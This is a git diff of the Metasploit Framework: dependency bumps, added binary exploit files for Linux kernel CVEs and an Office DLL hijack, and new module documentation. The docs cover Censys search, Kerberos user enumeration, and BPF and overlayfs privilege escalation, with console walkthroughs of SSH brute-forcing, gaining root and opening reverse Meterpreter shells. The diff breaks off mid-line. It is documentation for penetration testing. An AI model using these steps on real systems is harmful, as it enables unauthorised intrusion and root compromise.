diff --git a/.ruby-version b/.ruby-version index 2bf1c1ccf3..f90b1afc08 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.3.1 +2.3.2 diff --git a/.travis.yml b/.travis.yml index 33a5af36c4..41013079ca 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,7 +10,7 @@ addons: - graphviz language: ruby rvm: - - '2.3.1' + - '2.3.2' env: - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true diff --git a/Gemfile.lock b/Gemfile.lock index c7f50192a8..7a684cf210 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.12.40) + metasploit-framework (4.13.1) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -14,9 +14,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.1.26) + metasploit-payloads (= 1.2.1) metasploit_data_models - metasploit_payloads-mettle (= 0.0.8) + metasploit_payloads-mettle (= 0.1.2) msgpack nessus_rest net-ssh @@ -89,7 +89,8 @@ GEM minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.4.0) + addressable (2.5.0) + public_suffix (~> 2.0, >= 2.0.2) arel (6.0.3) arel-helpers (2.3.0) activerecord (>= 3.1.0, < 6) @@ -152,11 +153,11 @@ GEM loofah (2.0.3) nokogiri (>= 1.5.9) metasm (1.0.2) - metasploit-concern (2.0.1) + metasploit-concern (2.0.2) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-credential (2.0.4) + metasploit-credential (2.0.7) metasploit-concern metasploit-model metasploit_data_models @@ -164,12 +165,12 @@ GEM railties rubyntlm rubyzip - metasploit-model (2.0.0) + metasploit-model (2.0.2) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.1.26) - metasploit_data_models (2.0.5) + metasploit-payloads (1.2.1) + metasploit_data_models (2.0.8) activerecord (~> 4.2.6) activesupport (~> 4.2.6) arel-helpers @@ -179,7 +180,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.0.8) + metasploit_payloads-mettle (0.1.2) method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) @@ -195,8 +196,8 @@ GEM network_interface (0.0.1) nokogiri (1.6.8.1) mini_portile2 (~> 2.1.0) - octokit (4.3.0) - sawyer (~> 0.7.0, >= 0.5.3) + octokit (4.6.1) + sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) packetfu (1.1.11) @@ -214,7 +215,8 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.6.4) + public_suffix (2.0.4) + rack (1.6.5) rack-test (0.6.3) rack (>= 1.0) rails-deprecated_sanitizer (1.0.3) @@ -232,7 +234,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (11.3.0) rb-readline-r7 (0.5.2.0) - recog (2.0.22) + recog (2.0.24) nokogiri redcarpet (3.3.4) rex-arch (0.1.2) @@ -248,7 +250,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.1) + rex-exploitation (0.1.2) jsobfu metasm rex-arch @@ -271,13 +273,13 @@ GEM metasm rex-core rex-text - rex-socket (0.1.0) + rex-socket (0.1.1) rex-core rex-sslscan (0.1.0) rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.4) + rex-text (0.2.5) rex-zip (0.1.0) rex-text rkelly-remix (0.0.6) @@ -301,8 +303,8 @@ GEM rspec-support (3.5.0) rubyntlm (0.6.1) rubyzip (1.2.0) - sawyer (0.7.0) - addressable (>= 2.3.5, < 2.5) + sawyer (0.8.0) + addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 0.10) shoulda-matchers (3.1.1) activesupport (>= 4.0.0) @@ -319,7 +321,7 @@ GEM timecop (0.8.1) tzinfo (1.2.2) thread_safe (~> 0.1) - tzinfo-data (1.2016.8) + tzinfo-data (1.2016.9) tzinfo (>= 1.0.0) windows_error (0.0.2) xpath (2.0.0) diff --git a/data/exploits/CVE-2015-1328/1328 b/data/exploits/CVE-2015-1328/1328 new file mode 100644 index 0000000000..dcb7ed42b1 Binary files /dev/null and b/data/exploits/CVE-2015-1328/1328 differ diff --git a/data/exploits/CVE-2015-1328/ofs-lib.so b/data/exploits/CVE-2015-1328/ofs-lib.so new file mode 100644 index 0000000000..70755e998b Binary files /dev/null and b/data/exploits/CVE-2015-1328/ofs-lib.so differ diff --git a/data/exploits/CVE-2015-8660/8660 b/data/exploits/CVE-2015-8660/8660 new file mode 100644 index 0000000000..532d81071c Binary files /dev/null and b/data/exploits/CVE-2015-8660/8660 differ diff --git a/data/exploits/CVE-2016-4557/doubleput b/data/exploits/CVE-2016-4557/doubleput new file mode 100644 index 0000000000..7194be69b6 Binary files /dev/null and b/data/exploits/CVE-2016-4557/doubleput differ diff --git a/data/exploits/CVE-2016-4557/hello b/data/exploits/CVE-2016-4557/hello new file mode 100644 index 0000000000..3a84b198f3 Binary files /dev/null and b/data/exploits/CVE-2016-4557/hello differ diff --git a/data/exploits/CVE-2016-4557/suidhelper b/data/exploits/CVE-2016-4557/suidhelper new file mode 100644 index 0000000000..f629640c91 Binary files /dev/null and b/data/exploits/CVE-2016-4557/suidhelper differ diff --git a/data/exploits/office_ole_multiple_dll_hijack.ppsx b/data/exploits/office_ole_multiple_dll_hijack.ppsx new file mode 100644 index 0000000000..bf2b767505 Binary files /dev/null and b/data/exploits/office_ole_multiple_dll_hijack.ppsx differ diff --git a/db/schema.rb b/db/schema.rb index 1819bccfe1..d6fb88b30e 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema.define(version: 20161004165612) do +ActiveRecord::Schema.define(version: 20161107203710) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" @@ -320,7 +320,8 @@ ActiveRecord::Schema.define(version: 20161004165612) do t.string "jtr_format" end - add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree + add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree + add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree create_table "metasploit_credential_publics", force: :cascade do |t| t.string "username", null: false diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md new file mode 100644 index 0000000000..fb243e2805 --- /dev/null +++ b/documentation/modules/auxiliary/gather/censys_search.md @@ -0,0 +1,214 @@ +The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site. + +## Verification Steps + +1. Do: `use auxiliary/gather/censys_search` +2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` +3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` +4. Do: `set CENSYS_SEARCHTYPE certificates` +5: Do: `set CENSYS_DORK rapid7` +6: Do: `run` + +## Sample Output + +#### Certificates Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates +CENSYS_SEARCHTYPE => certificates +... +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7 +... + +``` + +### IPv4 Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4 +CENSYS_SEARCHTYPE => ipv4 +[*] 197.117.5.36 - 443/https +[*] 208.118.237.81 - 443/https +[*] 206.19.237.19 - 443/https +[*] 54.214.49.70 - 80/http,443/https +[*] 208.118.237.241 - 443/https +[*] 162.220.246.141 - 443/https,22/ssh,80/http +[*] 31.214.157.19 - 443/https,22/ssh +[*] 52.88.1.225 - 443/https,22/ssh +[*] 208.118.227.12 - 25/smtp +[*] 38.107.201.41 - 443/https +[*] 52.44.56.126 - 80/http,443/https +[*] 52.54.227.6 - 443/https,80/http +[*] 23.217.253.242 - 443/https,80/http +[*] 96.6.3.45 - 80/http,443/https +[*] 23.6.73.47 - 443/https,80/http +[*] 23.78.99.243 - 80/http,443/https +[*] 23.53.51.170 - 80/http,443/https +[*] 23.62.201.47 - 443/https,80/http +[*] 2.23.50.157 - 443/https,80/http +[*] 118.215.191.13 - 80/http,443/https +[*] 2.19.185.28 - 80/http,443/https +[*] 2.18.195.99 - 443/https,80/http +[*] 23.197.196.25 - 443/https,80/http +[*] 95.100.104.181 - 443/https,80/http +[*] 2.20.37.130 - 80/http,443/https +[*] 23.194.237.34 - 443/https,80/http +[*] 2.17.140.86 - 443/https,80/http +[*] 64.125.235.5 - 25/smtp +[*] 208.118.227.32 - 80/http +[*] 2.21.129.149 - 80/http,443/https +[*] 2.20.167.33 - 80/http,443/https +[*] 95.100.139.218 - 80/http,443/https +[*] 23.38.88.202 - 443/https,80/http +[*] 2.17.184.80 - 443/https,80/http +[*] 23.59.119.23 - 80/http,443/https +[*] 2.16.14.225 - 443/https,80/http +[*] 104.113.122.33 - 443/https,80/http +[*] 23.223.44.164 - 80/http,443/https +[*] 88.221.120.214 - 443/https,80/http +[*] 23.47.36.145 - 443/https,80/http +[*] 2.23.21.254 - 80/http,443/https +[*] 208.118.237.39 - 443/https +[*] 208.118.237.40 - 443/https +[*] 208.118.237.41 - 443/https +[*] 23.54.217.47 - 80/http,443/https +[*] 96.17.254.188 - 443/https,80/http +[*] 184.25.129.65 - 443/https,80/http +[*] 104.121.167.123 - 443/https,80/http +[*] 104.94.110.63 - 443/https,80/http +[*] 104.91.11.216 - 80/http,443/https +[*] 23.38.233.47 - 80/http,443/https +[*] 52.86.110.89 - 80/http,443/https +[*] 69.192.73.47 - 443/https,80/http +[*] 184.86.57.47 - 443/https,80/http +[*] 104.86.45.180 - 443/https,80/http +[*] 184.87.72.153 - 80/http,443/https +[*] 23.66.25.47 - 80/http,443/https +[*] 23.56.162.76 - 80/http,443/https +[*] 184.87.133.242 - 443/https,80/http +[*] 23.55.74.28 - 80/http,443/https +[*] 23.6.225.84 - 80/http,443/https +[*] 23.46.133.153 - 443/https,80/http +[*] 23.10.121.47 - 443/https,80/http +[*] 104.109.35.169 - 80/http,443/https +[*] 172.227.101.182 - 80/http,443/https +[*] 184.27.23.104 - 80/http,443/https +[*] 23.49.185.47 - 80/http,443/https +[*] 23.67.172.177 - 80/http,443/https +[*] 23.62.170.161 - 443/https,80/http +[*] 23.219.71.35 - 443/https,80/http +[*] 104.82.94.233 - 443/https,80/http +[*] 184.26.73.47 - 80/http,443/https +[*] 104.68.108.237 - 80/http,443/https +[*] 23.60.39.77 - 80/http,443/https +[*] 23.66.100.92 - 80/http,443/https +[*] 23.61.28.182 - 443/https,80/http +[*] 23.42.116.233 - 80/http,443/https +[*] 104.105.14.197 - 80/http,443/https +[*] 104.103.203.240 - 80/http,443/https +[*] 104.65.57.235 - 80/http,443/https +[*] 23.41.83.224 - 80/http,443/https +[*] 184.51.185.47 - 80/http,443/https +[*] 23.67.231.142 - 80/http,443/https +[*] 208.118.237.38 - 443/https +[*] 104.76.25.28 - 80/http,443/https +[*] 23.196.125.176 - 443/https,80/http +[*] 23.40.154.224 - 80/http,443/https +[*] 23.77.33.204 - 443/https,80/http +[*] 104.88.21.48 - 80/http,443/https +[*] 173.223.134.47 - 80/http,443/https +[*] 23.4.98.72 - 80/http,443/https +[*] 23.44.97.3 - 80/http,443/https +[*] 23.203.66.142 - 443/https,80/http +[*] 23.42.216.251 - 443/https,80/http +[*] 23.42.85.25 - 80/http,443/https +[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh +[*] 104.83.219.182 - 443/https,80/http +[*] 184.86.41.47 - 443/https,80/http +[*] 104.97.72.196 - 443/https,80/http +[*] 69.192.169.48 - 443/https,80/http +``` + +### Websites Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites +CENSYS_SEARCHTYPE => websites +msf auxiliary(censys_search) > run + +[+] rapid7.com - [37743] +[+] logentries.com - [45346] +[+] venturefizz.com - [106102] +[+] gild.com - [116853] +[+] sectools.org - [122125] +[+] ericzhang.me - [155622] +[+] metasploit.com - [156435] +[+] datapipe.com - [209756] +[+] routerpwn.com - [317896] +[+] proxy-base.com - [507954] +[+] config.fr - [542346] +[+] winterwyman.com - [629471] +[+] gogrid.com - [741009] +[+] wesecure.nl - [997423] +[*] Auxiliary module execution completed +``` + + +## References + +1. https://censys.io/api diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md new file mode 100644 index 0000000000..25066ce277 --- /dev/null +++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md @@ -0,0 +1,99 @@ +The kerberos_enumusers module is used to enumerate valid Domain Users +via Kerberos from a wholly unauthenticated perspective. It utilises the +different responses returned by the service to identify users that exist +within the target domain. It is also able to identify whether user +accounts are enabled or disabled/locked out. + +## Target + +To use kerberos_enumusers, make sure you are able to connect to the +Kerberos service on a Domain Controller. + +## Scenario + +The following demonstrates basic usage, using a custom wordlist, +targeting a single Domain Controller to identify valid domain user +accounts. + +``` +msf > use auxiliary/gather/kerberos_enumusers +msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN +DOMAIN => MYDOMAIN +msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1 +RHOST => 192.168.5.1 +msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt +USER_FILE => /job/users.txt +msf auxiliary(kerberos_enumusers) > run + +[*] Validating options... +[*] Using domain: MYDOMAIN... +[*] 192.168.5.1:88 - Testing User: "bob"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "bob" is present +[*] 192.168.5.1:88 - Testing User: "alice"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "alice" is present +[*] 192.168.5.1:88 - Testing User: "matt"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "matt" is present +[*] 192.168.5.1:88 - Testing User: "guest"... +[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have +been revoked +[-] 192.168.5.1:88 - User: "guest" account disabled or locked out +[*] 192.168.5.1:88 - Testing User: "admint"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admint" does not exist +[*] 192.168.5.1:88 - Testing User: "admin"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admin" does not exist +[*] 192.168.5.1:88 - Testing User: "administrator"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "administrator" does not exist +[*] Auxiliary module execution completed +msf auxiliary(kerberos_enumusers) > +``` + +## Options + +The kerberos_enumusers module only requires the RHOST, DOMAIN and +USER_FILE options to run. + +**The DOMAIN option** + +This option is used to specify the target domain. If the domain name is +incorrect an error is returned and domain user account enumeration will fail. + +An example of setting DOMAIN: + +``` +set DOMAIN [domain name] +``` + +**The USER_FILE option** + +This option is used to specify the file containing a list of user names +to query the Domain Controller to identify if they exist in the target domain +or not. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The Timeout option** + +This option is used to specify the TCP timeout i.e. the time to wait +before a connection to the Domain Controller is established and data read. + +An example of setting Timeout: + +``` +set Timeout [value in seconds] +``` diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md new file mode 100644 index 0000000000..3a0de3ac8d --- /dev/null +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -0,0 +1,167 @@ +## Notes + +This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. + +Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. + +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. + +As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. + +## Creating A Testing Environment + +There are a few requirements for this module to work: + + 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + + Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! + +This module has been tested against: + + 1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile) + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile) + +This module was not tested against, but may work against: + + 1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603) + 5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/bpf_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **MAXWAIT** + + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto + +## Scenarios + +### Ubuntu 16.04 (with Linux 4.4.0-38-generic) + +#### Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.130 + rhosts => 192.168.199.130 + msf auxiliary(ssh_login) > set username ubuntu + username => ubuntu + msf auxiliary(ssh_login) > set password ubuntu + password => ubuntu + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + +In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system. + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [+] libfuse-dev is installed + [+] gcc is installed + [*] Live compiling exploit on system + [*] Writing files to target + [*] Writing hello to /tmp/hello.c + [*] Max line length is 65537 + [*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf + [*] Writing doubleput to /tmp/doubleput.c + [*] Max line length is 65537 + [*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf + [*] Writing suidhelper to /tmp/suidhelper.c + [*] Max line length is 65537 + [*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf + [*] Compiling all modules on target + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400 + [*] Cleaning up... + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 192.168.199.130 + OS : Ubuntu 16.04 (Linux 4.4.0-38-generic) + Architecture : x86_64 + Meterpreter : x64/linux + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [-] libfuse-dev is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Writing pre-compiled binarys to target + [*] Max line length is 65537 + [*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [-] This exploit may require process killing of 'hello', and 'doubleput' on the target + [-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target + [-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 diff --git a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md new file mode 100644 index 0000000000..d069bd7eef --- /dev/null +++ b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md @@ -0,0 +1,181 @@ +## Creating A Testing Environment + +This module has been tested against: + + 1. CVE-2015-1328 + 1. Ubuntu 14.04 + 1. 3.13.0-24 (binary version of exploit compiled on) + 2. 3.19.0-20 + 3. 3.19.0-21 (not vuln, exploit failed) + 4. 3.13.0-55 (not vuln, exploit failed) + 2. CVE-2015-8660 + 1. Ubuntu 14.04 + 1. 3.19.0-41 (binary version of exploit compiled on) + +Untested against + + 1. Fedora (code included to identify vuln versions) + 2. Redhat (description includes vuln kernel versions) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/overlayfs_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **COMPILE** + + If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + +## Scenarios + +### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41 + +#### Initial Access + + resource (/root/Text-1.txt)> use 